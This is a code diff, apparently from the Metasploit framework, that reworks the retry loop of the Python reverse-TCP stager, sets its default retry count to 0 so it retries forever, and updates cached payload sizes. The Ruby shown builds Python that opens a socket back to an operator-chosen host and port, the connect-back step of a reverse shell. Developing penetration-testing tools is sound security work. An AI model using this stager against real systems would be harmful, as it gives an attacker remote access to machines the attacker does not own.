Adding for loop instead of while, removing 'counter'

Author: itsmeroy2012

lib/msf/core/payload/python/reverse_tcp.rb

@@ -19,7 +19,7 @@ module Payload::Python::ReverseTcp
   def initialize(*args)
     super
     register_advanced_options([
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 1]),
+        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 0]),
         OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts'])
       ], self.class)
   end
@@ -53,23 +53,24 @@ def transport_config(opts={})
   def generate_reverse_tcp(opts={})
     # Set up the socket
     cmd  = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
-    cmd << "counter = 0\n"
     if opts[:retry_wait].blank? # do not retry at all (old style)
       cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
       cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
     else
-      cmd << "while counter<#{opts[:retry_count].to_i}:\n"
+      if opts[:retry_count]>0
+        cmd << "for x in range(#{opts[:retry_count].to_i}):\n" 
+      else
+        cmd << "while 1:\n"
+      end
       cmd << "\ttry:\n"
       cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
       cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
       cmd << "\t\tbreak\n"
       cmd << "\texcept:\n"
       if opts[:retry_wait].to_i <= 0
-        cmd << "\t\tcounter=counter+1\n"
         cmd << "\t\tpass\n" # retry immediately
       else
         cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
-        cmd << "\t\tcounter=counter+1\n"
       end
     end
     cmd << py_send_uuid if include_send_uuid

modules/payloads/stagers/python/reverse_tcp.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 378
+  CachedSize = 362
 
   include Msf::Payload::Stager
   include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 482
+  CachedSize = 466
 
   include Msf::Payload::Stager
   include Msf::Payload::Python